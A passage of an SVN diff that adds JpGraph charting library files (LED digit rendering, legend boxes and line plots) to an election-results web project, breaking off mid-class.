+	$this->iMarg = $aMargin;
+    }
+    
+    function SetSupersampling($aSuperSampling = 2)	{
+	$this->iSuperSampling = $aSuperSampling;
+    }
+
+    function _GetLED($aLedIdx, $aColor = 0)	{
+	$width=  $this->iLED_X*$this->iRad*2 +  ($this->iLED_X+1)*$this->iMarg + $this->iRad ;
+	$height= $this->iLED_Y*$this->iRad*2 +  ($this->iLED_Y)*$this->iMarg + $this->iRad * 2;
+
+	// Adjust radious for supersampling
+	$rad = $this->iRad * $this->iSuperSampling;
+
+	// Margin in between "Led" dots
+	$marg = $this->iMarg * $this->iSuperSampling;
+	
+	$swidth = $width*$this->iSuperSampling;
+	$sheight = $height*$this->iSuperSampling;
+
+	$simg = new RotImage($swidth, $sheight, 0, DEFAULT_GFORMAT, false);
+	$simg->SetColor($this->iColorSchema[$aColor][2]);
+	$simg->FilledRectangle(0, 0, $swidth-1, $sheight-1);
+
+	if(array_key_exists($aLedIdx, $this->iLEDSpec)) {
+	    $d = $this->iLEDSpec[$aLedIdx];
+	}
+	else {
+	    $d = array(0,0,0,0,0,0,0);
+	}
+
+	for($r = 0; $r < 7; ++$r) {
+	    $dr = $d[$r];
+	    for($c = 0; $c < 4; ++$c) {
+		if( ($dr & pow(2,3-$c)) !== 0 ) {
+		    $color = $this->iColorSchema[$aColor][0];
+		}
+		else {
+		    $color = $this->iColorSchema[$aColor][1];
+		}
+
+		$x = 2*$rad*$c+$rad + ($c+1)*$marg + $rad ;
+		$y = 2*$rad*$r+$rad + ($r+1)*$marg + $rad ;
+
+		$simg->SetColor($color);
+		$simg->FilledCircle($x,$y,$rad);
+	    }
+	}
+
+	$img =  new Image($width, $height, DEFAULT_GFORMAT, false);
+	$img->Copy($simg->img, 0, 0, 0, 0, $width, $height, $swidth, $sheight);
+	$simg->Destroy();
+	unset($simg);
+	return $img;
+    }
+
+    function StrokeNumber($aValStr, $aColor = 0, $aFileName = '') {
+	if($aColor < 0 || $aColor >= sizeof($this->iColorSchema))
+	    $aColor = 0;
+
+	if(($n = strlen($aValStr)) == 0) {
+	    $aValStr = ' ';
+	    $n = 1;
+	}
+
+	for($i = 0; $i < $n; ++$i) {
+	    $d = substr($aValStr, $i, 1);
+	    if(  $d >= '0' && $d <= '9' ) {
+		$d = (int)$d;
+	    }
+	    else {
+		$d = strtoupper($d);
+	    }
+	    $digit_img[$i] = $this->_GetLED($d, $aColor);
+	}
+
+	$w = imagesx($digit_img[0]->img);
+	$h = imagesy($digit_img[0]->img);
+
+	$number_img = new Image($w*$n, $h, DEFAULT_GFORMAT, false);
+
+	for($i = 0; $i < $n; ++$i) {
+	    $number_img->Copy($digit_img[$i]->img, $i*$w, 0, 0, 0, $w, $h, $w, $h);
+	}
+
+	if( $aFileName != '' ) {
+	    $number_img->Stream($aFileName);
+	} else {
+	    $number_img->Headers();
+	    $number_img->Stream();
+	}
+    }
+}
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_legend.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_legend.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_legend.inc.php	(revision 44)
@@ -0,0 +1,394 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH_LEGEND.INC.PHP
+// Description:	Class to handle the legend box in the graph that gives
+//		names on the data series. The number of rows and columns
+//		in the legend are user specifyable.
+// Created: 	2001-01-08 (Refactored to separate file 2008-08-01)
+// Ver:		$Id: jpgraph_legend.inc.php 1048 2008-08-01 19:56:46Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+DEFINE('_DEFAULT_LPM_SIZE',8); // Default Legend Plot Mark size
+
+	
+//===================================================
+// CLASS Legend
+// Description: Responsible for drawing the box containing
+// all the legend text for the graph
+//===================================================
+
+class Legend {
+    public $txtcol=array();
+    private $color=array(0,0,0); // Default fram color
+    private $fill_color=array(235,235,235); // Default fill color
+    private $shadow=true; // Shadow around legend "box"
+    private $shadow_color='darkgray@0.5';
+    private $mark_abs_hsize=_DEFAULT_LPM_SIZE,$mark_abs_vsize=_DEFAULT_LPM_SIZE;
+    private $xmargin=10,$ymargin=3,$shadow_width=2;
+    private $xlmargin=2, $ylmargin='';
+    private $xpos=0.05, $ypos=0.15, $xabspos=-1, $yabspos=-1;
+    private $halign="right", $valign="top";
+    private $font_family=FF_FONT1,$font_style=FS_NORMAL,$font_size=12;
+    private $font_color='black';
+    private $hide=false,$layout_n=1;
+    private $weight=1,$frameweight=1;
+    private $csimareas='';
+    private $reverse = false ;
+
+//---------------
+// CONSTRUCTOR
+    function Legend() {
+	// Empty
+    }
+//---------------
+// PUBLIC METHODS	
+    function Hide($aHide=true) {
+	$this->hide=$aHide;
+    }
+	
+    function SetHColMargin($aXMarg) {
+	$this->xmargin = $aXMarg;
+    }
+
+    function SetVColMargin($aSpacing) {
+	$this->ymargin = $aSpacing ;
+    }
+
+    function SetLeftMargin($aXMarg) {
+	$this->xlmargin = $aXMarg;
+    }
+
+    // Synonym
+    function SetLineSpacing($aSpacing) {
+	$this->ymargin = $aSpacing ;
+    }
+
+    function SetShadow($aShow='gray',$aWidth=2) {
+	if( is_string($aShow) ) {
+	    $this->shadow_color = $aShow;
+	    $this->shadow=true;
+	}
+	else
+	    $this->shadow=$aShow;
+	$this->shadow_width=$aWidth;
+    }
+
+    function SetMarkAbsSize($aSize) {
+	$this->mark_abs_vsize = $aSize ;
+	$this->mark_abs_hsize = $aSize ;
+    }
+
+    function SetMarkAbsVSize($aSize) {
+	$this->mark_abs_vsize = $aSize ;
+    }
+
+    function SetMarkAbsHSize($aSize) {
+	$this->mark_abs_hsize = $aSize ;
+    }
+
+    function SetLineWeight($aWeight) {
+	$this->weight = $aWeight;
+    }
+
+    function SetFrameWeight($aWeight) {
+	$this->frameweight = $aWeight;
+    }
+	
+    function SetLayout($aDirection=LEGEND_VERT) {
+	$this->layout_n = $aDirection==LEGEND_VERT ? 1 : 99 ;
+    }
+	
+    function SetColumns($aCols) {
+	$this->layout_n = $aCols ;
+    }
+
+    function SetReverse($f=true) {
+	$this->reverse = $f ;
+    }
+
+    // Set color on frame around box
+    function SetColor($aFontColor,$aColor='black') {
+	$this->font_color=$aFontColor;
+	$this->color=$aColor;
+    }
+	
+    function SetFont($aFamily,$aStyle=FS_NORMAL,$aSize=10) {
+	$this->font_family = $aFamily;
+	$this->font_style = $aStyle;
+	$this->font_size = $aSize;
+    }
+	
+    function SetPos($aX,$aY,$aHAlign="right",$aVAlign="top") {
+	$this->Pos($aX,$aY,$aHAlign,$aVAlign);
+    }
+
+    function SetAbsPos($aX,$aY,$aHAlign="right",$aVAlign="top") {
+	$this->xabspos=$aX;
+	$this->yabspos=$aY;
+	$this->halign=$aHAlign;
+	$this->valign=$aVAlign;
+    }
+
+
+    function Pos($aX,$aY,$aHAlign="right",$aVAlign="top") {
+	if( !($aX<1 && $aY<1) )
+	    JpGraphError::RaiseL(25120);//(" Position for legend must be given as percentage in range 0-1");
+	$this->xpos=$aX;
+	$this->ypos=$aY;
+	$this->halign=$aHAlign;
+	$this->valign=$aVAlign;
+    }
+
+    function SetFillColor($aColor) {
+	$this->fill_color=$aColor;
+    }
+	
+    function Add($aTxt,$aColor,$aPlotmark='',$aLinestyle=0,$csimtarget='',$csimalt='',$csimwintarget='') {
+	$this->txtcol[]=array($aTxt,$aColor,$aPlotmark,$aLinestyle,$csimtarget,$csimalt,$csimwintarget);
+    }
+
+    function GetCSIMAreas() {
+	return $this->csimareas;
+    }
+	
+    function Stroke(&$aImg) {
+	// Constant
+	$fillBoxFrameWeight=1;
+
+	if( $this->hide ) return;
+
+	$aImg->SetFont($this->font_family,$this->font_style,$this->font_size);		
+
+	if( $this->reverse ) {
+	    $this->txtcol = array_reverse($this->txtcol);
+	}
+
+	$n=count($this->txtcol);
+	if( $n == 0 ) return;
+
+	// Find out the max width and height of each column to be able
+        // to size the legend box.
+	$numcolumns = ($n > $this->layout_n ? $this->layout_n : $n);
+	for( $i=0; $i < $numcolumns; ++$i ) {
+	    $colwidth[$i] = $aImg->GetTextWidth($this->txtcol[$i][0]) +
+		            2*$this->xmargin + 2*$this->mark_abs_hsize;
+	    $colheight[$i] = 0;
+	}
+
+	// Find our maximum height in each row
+	$rows = 0 ; $rowheight[0] = 0;
+	for( $i=0; $i < $n; ++$i ) {
+	    $h = max($this->mark_abs_vsize,$aImg->GetTextHeight($this->txtcol[$i][0]))+$this->ymargin;
+	    if( $i % $numcolumns == 0 ) {
+		$rows++;
+		$rowheight[$rows-1] = 0;
+	    }
+	    $rowheight[$rows-1] = max($rowheight[$rows-1],$h);
+	}
+
+	$abs_height = 0;
+	for( $i=0; $i < $rows; ++$i ) {
+	    $abs_height += $rowheight[$i] ;
+	}
+
+	// Make sure that the height is at least as high as mark size + ymargin
+	$abs_height = max($abs_height,$this->mark_abs_vsize);
+
+	// We add 3 extra pixels height to compensate for the difficult in
+	// calculating font height
+	$abs_height += $this->ymargin+3; 
+						
+	// Find out the maximum width in each column
+	for( $i=$numcolumns; $i < $n; ++$i ) {
+	    $colwidth[$i % $numcolumns] = max(
+		$aImg->GetTextWidth($this->txtcol[$i][0])+2*$this->xmargin+2*$this->mark_abs_hsize,$colwidth[$i % $numcolumns]);
+	}
+
+	// Get the total width
+	$mtw = 0;
+	for( $i=0; $i < $numcolumns; ++$i ) {
+	    $mtw += $colwidth[$i] ;
+	}
+
+	// Find out maximum width we need for legend box
+	$abs_width = $mtw+$this->xlmargin;
+
+	if( $this->xabspos === -1  && $this->yabspos === -1 ) {
+	    $this->xabspos = $this->xpos*$aImg->width ;
+	    $this->yabspos = $this->ypos*$aImg->height ;
+	}
+
+	// Positioning of the legend box
+	if( $this->halign == 'left' )
+	    $xp = $this->xabspos; 
+	elseif( $this->halign == 'center' )
+	    $xp = $this->xabspos - $abs_width/2; 
+	else  
+	    $xp = $aImg->width - $this->xabspos - $abs_width;
+
+	$yp=$this->yabspos;
+	if( $this->valign == 'center' )
+	    $yp-=$abs_height/2;
+	elseif( $this->valign == 'bottom' )
+	    $yp-=$abs_height;
+			
+	// Stroke legend box
+	$aImg->SetColor($this->color);	
+	$aImg->SetLineWeight($this->frameweight);
+	$aImg->SetLineStyle('solid');
+
+	if( $this->shadow )
+	    $aImg->ShadowRectangle($xp,$yp,$xp+$abs_width+$this->shadow_width,
+				   $yp+$abs_height+$this->shadow_width,
+				   $this->fill_color,$this->shadow_width,$this->shadow_color);
+	else {
+	    $aImg->SetColor($this->fill_color);				
+	    $aImg->FilledRectangle($xp,$yp,$xp+$abs_width,$yp+$abs_height);
+	    $aImg->SetColor($this->color);							
+	    $aImg->Rectangle($xp,$yp,$xp+$abs_width,$yp+$abs_height);
+	}
+
+	// x1,y1 is the position for the legend mark
+	$x1=$xp+$this->mark_abs_hsize+$this->xlmargin;
+	$y1=$yp + $this->ymargin;		
+	
+	$f2 =  round($aImg->GetTextHeight('X')/2);
+
+	$grad = new Gradient($aImg);
+	$patternFactory = null;
+
+	// Now stroke each legend in turn
+	// Each plot has added the following information to  the legend
+	// p[0] = Legend text
+	// p[1] = Color, 
+	// p[2] = For markers a reference to the PlotMark object
+	// p[3] = For lines the line style, for gradient the negative gradient style
+	// p[4] = CSIM target
+	// p[5] = CSIM Alt text
+	$i = 1 ; $row = 0;
+	foreach($this->txtcol as $p) {
+	 
+	    // STROKE DEBUG BOX
+	    if( _JPG_DEBUG ) {
+	        $aImg->SetLineWeight(1);
+	        $aImg->SetColor('red');
+	        $aImg->SetLineStyle('solid');
+	        $aImg->Rectangle($xp,$y1,$xp+$abs_width,$y1+$rowheight[$row]);
+	    }
+
+	    $aImg->SetLineWeight($this->weight);
+	    $x1 = round($x1); $y1=round($y1);
+	    if ( !empty($p[2]) && $p[2]->GetType() > -1 ) {
+		// Make a plot mark legend
+		$aImg->SetColor($p[1]);
+		if( is_string($p[3]) || $p[3]>0 ) {
+		    $aImg->SetLineStyle($p[3]);
+		    $aImg->StyleLine($x1-$this->mark_abs_hsize,$y1+$f2,$x1+$this->mark_abs_hsize,$y1+$f2);
+		}
+		// Stroke a mark with the standard size
+		// (As long as it is not an image mark )
+		if( $p[2]->GetType() != MARK_IMG ) {
+
+		    // Clear any user callbacks since we ont want them called for
+		    // the legend marks
+		    $p[2]->iFormatCallback = '';
+		    $p[2]->iFormatCallback2 = '';
+
+		    // Since size for circles is specified as the radius
+		    // this means that we must half the size to make the total
+		    // width behave as the other marks
+		    if( $p[2]->GetType() == MARK_FILLEDCIRCLE || $p[2]->GetType() == MARK_CIRCLE ) {
+		        $p[2]->SetSize(min($this->mark_abs_vsize,$this->mark_abs_hsize)/2);
+			$p[2]->Stroke($aImg,$x1,$y1+$f2);
+		    }
+		    else {
+		        $p[2]->SetSize(min($this->mark_abs_vsize,$this->mark_abs_hsize));
+			$p[2]->Stroke($aImg,$x1,$y1+$f2);
+		    }
+		}
+	    } 
+	    elseif ( !empty($p[2]) && (is_string($p[3]) || $p[3]>0 ) ) {
+		// Draw a styled line
+		$aImg->SetColor($p[1]);
+		$aImg->SetLineStyle($p[3]);
+		$aImg->StyleLine($x1-1,$y1+$f2,$x1+$this->mark_abs_hsize,$y1+$f2);
+		$aImg->StyleLine($x1-1,$y1+$f2+1,$x1+$this->mark_abs_hsize,$y1+$f2+1);
+	    } 
+	    else {
+		// Draw a colored box
+		$color = $p[1] ;
+		// We make boxes slightly larger to better show
+		$boxsize = min($this->mark_abs_vsize,$this->mark_abs_hsize) + 2 ;
+		$ym =  round($y1 + $f2 - $boxsize/2);
+		// We either need to plot a gradient or a 
+		// pattern. To differentiate we use a kludge.
+		// Patterns have a p[3] value of < -100
+		if( $p[3] < -100 ) { 
+		    // p[1][0] == iPattern, p[1][1] == iPatternColor, p[1][2] == iPatternDensity
+		    if( $patternFactory == null ) {
+			$patternFactory = new RectPatternFactory();
+		    }		    
+		    $prect = $patternFactory->Create($p[1][0],$p[1][1],1);
+		    $prect->SetBackground($p[1][3]);
+		    $prect->SetDensity($p[1][2]+1);
+		    $prect->SetPos(new Rectangle($x1,$ym,$boxsize,$boxsize));
+		    $prect->Stroke($aImg);
+		    $prect=null;
+		}
+		else {
+		    if( is_array($color) && count($color)==2 ) {
+			// The client want a gradient color
+			$grad->FilledRectangle($x1,$ym,
+					       $x1+$boxsize,$ym+$boxsize,
+					       $color[0],$color[1],-$p[3]);
+		    }
+		    else {
+			$aImg->SetColor($p[1]);
+			$aImg->FilledRectangle($x1,$ym,$x1+$boxsize,$ym+$boxsize);
+		    }
+		    $aImg->SetColor($this->color);
+		    $aImg->SetLineWeight($fillBoxFrameWeight);
+		    $aImg->Rectangle($x1,$ym,$x1+$boxsize,$ym+$boxsize);
+		}
+	    }
+	    $aImg->SetColor($this->font_color);
+	    $aImg->SetFont($this->font_family,$this->font_style,$this->font_size);		
+	    $aImg->SetTextAlign("left","top");			
+	    $aImg->StrokeText(round($x1+$this->mark_abs_hsize+$this->xmargin),$y1,$p[0]);
+
+	    // Add CSIM for Legend if defined
+	    if( !empty($p[4]) ) {
+		
+		$xe = $x1 + $this->xmargin+$this->mark_abs_hsize+$aImg->GetTextWidth($p[0]);
+		$ye = $y1 + max($this->mark_abs_vsize,$aImg->GetTextHeight($p[0]));
+		$coords = "$x1,$y1,$xe,$y1,$xe,$ye,$x1,$ye";
+		if( ! empty($p[4]) ) {
+		    $this->csimareas .= "<area shape=\"poly\" coords=\"$coords\" href=\"".htmlentities($p[4])."\"";
+
+		    if( !empty($p[6]) ) {
+			$this->csimareas .= " target=\"".$p[6]."\"";
+		    }
+
+		    if( !empty($p[5]) ) {
+			$tmp=sprintf($p[5],$p[0]);
+			$this->csimareas .= " title=\"$tmp\" alt=\"$tmp\" ";
+		    }
+		    $this->csimareas .= " />\n";
+		}
+	    }
+	    if( $i >= $this->layout_n ) {
+		$x1 = $xp+$this->mark_abs_hsize+$this->xlmargin;
+		$y1 += $rowheight[$row++];
+		$i = 1;
+	    }
+	    else {
+		$x1 += $colwidth[($i-1) % $numcolumns] ;
+		++$i;
+	    }
+	}	
+    }
+} // Class
+	
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_line.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_line.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_line.php	(revision 44)
@@ -0,0 +1,632 @@
+<?php
+/*=======================================================================
+// File: 	JPGRAPH_LINE.PHP
+// Description:	Line plot extension for JpGraph
+// Created: 	2001-01-08
+// Ver:		$Id: jpgraph_line.php 981 2008-03-24 11:51:12Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+require_once ('jpgraph_plotmark.inc.php');
+
+// constants for the (filled) area
+DEFINE("LP_AREA_FILLED", true);
+DEFINE("LP_AREA_NOT_FILLED", false);
+DEFINE("LP_AREA_BORDER",false);
+DEFINE("LP_AREA_NO_BORDER",true);
+
+//===================================================
+// CLASS LinePlot
+// Description: 
+//===================================================
+class LinePlot extends Plot{
+    public $mark=null;
+    protected $filled=false;
+    protected $fill_color='blue';
+    protected $step_style=false, $center=false;
+    protected $line_style=1;	// Default to solid
+    protected $filledAreas = array(); // array of arrays(with min,max,col,filled in them)
+    public $barcenter=false;  // When we mix line and bar. Should we center the line in the bar.
+    protected $fillFromMin = false ;
+    protected $fillgrad=false,$fillgrad_fromcolor='navy',$fillgrad_tocolor='silver',$fillgrad_numcolors=100;
+    protected $iFastStroke=false;
+
+//---------------
+// CONSTRUCTOR
+    function LinePlot($datay,$datax=false) {
+	$this->Plot($datay,$datax);
+	$this->mark = new PlotMark() ;
+    }
+//---------------
+// PUBLIC METHODS	
+
+    // Set style, filled or open
+    function SetFilled($aFlag=true) {
+    	JpGraphError::RaiseL(10001);//('LinePlot::SetFilled() is deprecated. Use SetFillColor()');
+    }
+	
+    function SetBarCenter($aFlag=true) {
+	$this->barcenter=$aFlag;
+    }
+
+    function SetStyle($aStyle) {
+	$this->line_style=$aStyle;
+    }
+	
+    function SetStepStyle($aFlag=true) {
+	$this->step_style = $aFlag;
+    }
+	
+    function SetColor($aColor) {
+	parent::SetColor($aColor);
+    }
+	
+    function SetFillFromYMin($f=true) {
+	$this->fillFromMin = $f ;
+    }
+    
+    function SetFillColor($aColor,$aFilled=true) {
+	$this->fill_color=$aColor;
+	$this->filled=$aFilled;
+    }
+
+    function SetFillGradient($aFromColor,$aToColor,$aNumColors=100,$aFilled=true) {
+	$this->fillgrad_fromcolor = $aFromColor;
+	$this->fillgrad_tocolor   = $aToColor;
+	$this->fillgrad_numcolors = $aNumColors;
+	$this->filled = $aFilled;
+	$this->fillgrad = true;
+    }
+	
+    function Legend($graph) {
+	if( $this->legend!="" ) {
+	    if( $this->filled && !$this->fillgrad ) {
+		$graph->legend->Add($this->legend,
+				    $this->fill_color,$this->mark,0,
+				    $this->legendcsimtarget,$this->legendcsimalt,$this->legendcsimwintarget);
+	    }
+	    elseif( $this->fillgrad ) {
+		$color=array($this->fillgrad_fromcolor,$this->fillgrad_tocolor);
+		// In order to differentiate between gradients and cooors specified as an RGB triple
+		$graph->legend->Add($this->legend,$color,"",-2 /* -GRAD_HOR */,
+				    $this->legendcsimtarget,$this->legendcsimalt,$this->legendcsimwintarget);
+	    } else {
+		$graph->legend->Add($this->legend,
+				    $this->color,$this->mark,$this->line_style,
+				    $this->legendcsimtarget,$this->legendcsimalt,$this->legendcsimwintarget);
+	    }
+	}	
+    }
+
+    function AddArea($aMin=0,$aMax=0,$aFilled=LP_AREA_NOT_FILLED,$aColor="gray9",$aBorder=LP_AREA_BORDER) {
+	if($aMin > $aMax) {
+	    // swap
+	    $tmp = $aMin;
+	    $aMin = $aMax;
+	    $aMax = $tmp;
+	} 
+	$this->filledAreas[] = array($aMin,$aMax,$aColor,$aFilled,$aBorder);
+    }
+	
+    // Gets called before any axis are stroked
+    function PreStrokeAdjust($graph) {
+
+	// If another plot type have already adjusted the
+	// offset we don't touch it.
+	// (We check for empty in case the scale is  a log scale 
+	// and hence doesn't contain any xlabel_offset)
+	if( empty($graph->xaxis->scale->ticks->xlabel_offset) ||
+	    $graph->xaxis->scale->ticks->xlabel_offset == 0 ) {
+	    if( $this->center ) {
+		++$this->numpoints;
+		$a=0.5; $b=0.5;
+	    } else {
+		$a=0; $b=0;
+	    }
+	    $graph->xaxis->scale->ticks->SetXLabelOffset($a);
+	    $graph->SetTextScaleOff($b);						
+	    //$graph->xaxis->scale->ticks->SupressMinorTickMarks();
+	}
+    }
+    
+    function SetFastStroke($aFlg=true) {
+	$this->iFastStroke = $aFlg;
+    }
+
+    function FastStroke($img,$xscale,$yscale,$aStartPoint=0,$exist_x=true) {
+	// An optimized stroke for many data points with no extra 
+	// features but 60% faster. You can't have values or line styles, or null
+	// values in plots.
+	$numpoints=count($this->coords[0]);
+	if( $this->barcenter ) 
+	    $textadj = 0.5-$xscale->text_scale_off;
+	else
+	    $textadj = 0;
+
+	$img->SetColor($this->color);
+	$img->SetLineWeight($this->weight);
+	$pnts=$aStartPoint;
+	while( $pnts < $numpoints ) {	    
+	    if( $exist_x ) $x=$this->coords[1][$pnts];
+	    else $x=$pnts+$textadj;
+	    $xt = $xscale->Translate($x);
+	    $y=$this->coords[0][$pnts];
+	    $yt = $yscale->Translate($y);    
+	    if( is_numeric($y) ) {
+		$cord[] = $xt;
+		$cord[] = $yt;
+	    }
+	    elseif( $y == '-' && $pnts > 0 ) {
+		// Just ignore
+	    }
+	    else {
+		JpGraphError::RaiseL(10002);//('Plot too complicated for fast line Stroke. Use standard Stroke()');
+	    }
+	    ++$pnts;
+	} // WHILE
+
+	$img->Polygon($cord,false,true);
+    }
+	
+    function Stroke($img,$xscale,$yscale) {
+	$idx=0;
+	$numpoints=count($this->coords[0]);
+	if( isset($this->coords[1]) ) {
+	    if( count($this->coords[1])!=$numpoints )
+		JpGraphError::RaiseL(2003,count($this->coords[1]),$numpoints);
+//("Number of X and Y points are not equal. Number of X-points:".count($this->coords[1])." Number of Y-points:$numpoints");
+	    else
+		$exist_x = true;
+	}
+	else 
+	    $exist_x = false;
+
+	if( $this->barcenter ) 
+	    $textadj = 0.5-$xscale->text_scale_off;
+	else
+	    $textadj = 0;
+
+	// Find the first numeric data point
+	$startpoint=0;
+	while( $startpoint < $numpoints && !is_numeric($this->coords[0][$startpoint]) )
+	    ++$startpoint;
+
+	// Bail out if no data points
+	if( $startpoint == $numpoints ) 
+	    return;
+
+	if( $this->iFastStroke ) {
+	    $this->FastStroke($img,$xscale,$yscale,$startpoint,$exist_x);
+	    return;
+	}
+
+	if( $exist_x )
+	    $xs=$this->coords[1][$startpoint];
+	else
+	    $xs= $textadj+$startpoint;
+
+	$img->SetStartPoint($xscale->Translate($xs),
+			    $yscale->Translate($this->coords[0][$startpoint]));
+
+		
+	if( $this->filled ) {
+	    $min = $yscale->GetMinVal();
+	    if( $min > 0 || $this->fillFromMin )
+		$fillmin = $yscale->scale_abs[0];//Translate($min);
+	    else
+		$fillmin = $yscale->Translate(0);
+
+	    $cord[$idx++] = $xscale->Translate($xs);
+	    $cord[$idx++] = $fillmin;
+	}
+	$xt = $xscale->Translate($xs);
+	$yt = $yscale->Translate($this->coords[0][$startpoint]);
+	$cord[$idx++] = $xt;
+	$cord[$idx++] = $yt;
+	$yt_old = $yt;
+	$xt_old = $xt;
+	$y_old = $this->coords[0][$startpoint];
+
+	$this->value->Stroke($img,$this->coords[0][$startpoint],$xt,$yt);
+
+	$img->SetColor($this->color);
+	$img->SetLineWeight($this->weight);
+	$img->SetLineStyle($this->line_style);
+	$pnts=$startpoint+1;
+	$firstnonumeric = false;
+
+
+	while( $pnts < $numpoints ) {
+	    
+	    if( $exist_x ) $x=$this->coords[1][$pnts];
+	    else $x=$pnts+$textadj;
+	    $xt = $xscale->Translate($x);
+	    $yt = $yscale->Translate($this->coords[0][$pnts]);
+	    
+	    $y=$this->coords[0][$pnts];
+	    if( $this->step_style ) {
+		// To handle null values within step style we need to record the
+		// first non numeric value so we know from where to start if the
+		// non value is '-'. 
+		if( is_numeric($y) ) {
+		    $firstnonumeric = false;
+		    if( is_numeric($y_old) ) {
+			$img->StyleLine($xt_old,$yt_old,$xt,$yt_old);
+			$img->StyleLine($xt,$yt_old,$xt,$yt);
+		    }
+		    elseif( $y_old == '-' ) {
+			$img->StyleLine($xt_first,$yt_first,$xt,$yt_first);
+			$img->StyleLine($xt,$yt_first,$xt,$yt);			
+		    }
+		    else {
+			$yt_old = $yt;
+			$xt_old = $xt;
+		    }
+		    $cord[$idx++] = $xt;
+		    $cord[$idx++] = $yt_old;
+		    $cord[$idx++] = $xt;
+		    $cord[$idx++] = $yt;
+		}
+		elseif( $firstnonumeric==false ) {
+		    $firstnonumeric = true;
+		    $yt_first = $yt_old;
+		    $xt_first = $xt_old;
+		}
+	    }
+	    else {
+		$tmp1=$y;
+		$prev=$this->coords[0][$pnts-1]; 		 			
+		if( $tmp1==='' || $tmp1===NULL || $tmp1==='X' ) $tmp1 = 'x';
+		if( $prev==='' || $prev===null || $prev==='X' ) $prev = 'x';
+
+		if( is_numeric($y) || (is_string($y) && $y != '-') ) {
+		    if( is_numeric($y) && (is_numeric($prev) || $prev === '-' ) ) { 
+			$img->StyleLineTo($xt,$yt);
+		    } 
+		    else {
+			$img->SetStartPoint($xt,$yt);
+		    }
+		}
+		if( $this->filled && $tmp1 !== '-' ) {
+		    if( $tmp1 === 'x' ) { 
+			$cord[$idx++] = $cord[$idx-3];
+			$cord[$idx++] = $fillmin;
+		    }
+		    elseif( $prev === 'x' ) {
+			$cord[$idx++] = $xt;
+			$cord[$idx++] = $fillmin;
+			$cord[$idx++] = $xt;
+			$cord[$idx++] = $yt; 			    
+		    }
+		    else {
+			$cord[$idx++] = $xt;
+			$cord[$idx++] = $yt;
+		    }
+		}
+		else {
+		    if( is_numeric($tmp1)  && (is_numeric($prev) || $prev === '-' ) ) {
+			$cord[$idx++] = $xt;
+			$cord[$idx++] = $yt;
+		    } 
+		}
+	    }
+	    $yt_old = $yt;
+	    $xt_old = $xt;
+	    $y_old = $y;
+
+	    $this->StrokeDataValue($img,$this->coords[0][$pnts],$xt,$yt);
+
+	    ++$pnts;
+	}	
+
+	if( $this->filled  ) {
+	    $cord[$idx++] = $xt;
+	    if( $min > 0 || $this->fillFromMin )
+		$cord[$idx++] = $yscale->Translate($min);
+	    else
+		$cord[$idx++] = $yscale->Translate(0);
+	    if( $this->fillgrad ) {
+		$img->SetLineWeight(1);
+		$grad = new Gradient($img);
+		$grad->SetNumColors($this->fillgrad_numcolors);
+		$grad->FilledFlatPolygon($cord,$this->fillgrad_fromcolor,$this->fillgrad_tocolor);
+		$img->SetLineWeight($this->weight);
+	    }
+	    else {
+		$img->SetColor($this->fill_color);	
+		$img->FilledPolygon($cord);
+	    }
+	    if( $this->line_weight > 0 ) {
+		$img->SetColor($this->color);
+		$img->Polygon($cord);
+	    }
+	}
+
+	if(!empty($this->filledAreas)) {
+
+	    $minY = $yscale->Translate($yscale->GetMinVal());
+	    $factor = ($this->step_style ? 4 : 2);
+
+	    for($i = 0; $i < sizeof($this->filledAreas); ++$i) {
+		// go through all filled area elements ordered by insertion
+		// fill polygon array
+		$areaCoords[] = $cord[$this->filledAreas[$i][0] * $factor];
+		$areaCoords[] = $minY;
+
+		$areaCoords =
+		    array_merge($areaCoords,
+				array_slice($cord,
+					    $this->filledAreas[$i][0] * $factor,
+					    ($this->filledAreas[$i][1] - $this->filledAreas[$i][0] + ($this->step_style ? 0 : 1))  * $factor));
+		$areaCoords[] = $areaCoords[sizeof($areaCoords)-2]; // last x
+		$areaCoords[] = $minY; // last y
+	    
+		if($this->filledAreas[$i][3]) {
+		    $img->SetColor($this->filledAreas[$i][2]);
+		    $img->FilledPolygon($areaCoords);
+		    $img->SetColor($this->color);
+		}
+		// Check if we should draw the frame.
+		// If not we still re-draw the line since it might have been
+		// partially overwritten by the filled area and it doesn't look
+		// very good.
+		// TODO: The behaviour is undefined if the line does not have
+		// any line at the position of the area.
+		if( $this->filledAreas[$i][4] )
+		    $img->Polygon($areaCoords);
+		else
+	    	    $img->Polygon($cord);
+
+		$areaCoords = array();
+	    }
+	}	
+
+	if( $this->mark->type == -1 || $this->mark->show == false )
+	    return;
+
+	for( $pnts=0; $pnts<$numpoints; ++$pnts) {
+
+	    if( $exist_x ) $x=$this->coords[1][$pnts];
+	    else $x=$pnts+$textadj;
+	    $xt = $xscale->Translate($x);
+	    $yt = $yscale->Translate($this->coords[0][$pnts]);
+
+	    if( is_numeric($this->coords[0][$pnts]) ) {
+		if( !empty($this->csimtargets[$pnts]) ) {
+		    if( !empty($this->csimwintargets[$pnts]) ) {
+			$this->mark->SetCSIMTarget($this->csimtargets[$pnts],$this->csimwintargets[$pnts]);
+		    }
+		    else {
+			$this->mark->SetCSIMTarget($this->csimtargets[$pnts]);
+		    }
+		    $this->mark->SetCSIMAlt($this->csimalts[$pnts]);
+		}
+		if( $exist_x )
+		    $x=$this->coords[1][$pnts];
+		else
+		    $x=$pnts;
+		$this->mark->SetCSIMAltVal($this->coords[0][$pnts],$x);
+		$this->mark->Stroke($img,$xt,$yt);	
+		$this->csimareas .= $this->mark->GetCSIMAreas();
+	    }
+	}
+    }
+} // Class
+
+
+//===================================================
+// CLASS AccLinePlot
+// Description: 
+//===================================================
+class AccLinePlot extends Plot {
+    protected $plots=null,$nbrplots=0;
+    private $iStartEndZero=true;
+//---------------
+// CONSTRUCTOR
+    function AccLinePlot($plots) {
+        $this->plots = $plots;
+	$this->nbrplots = count($plots);
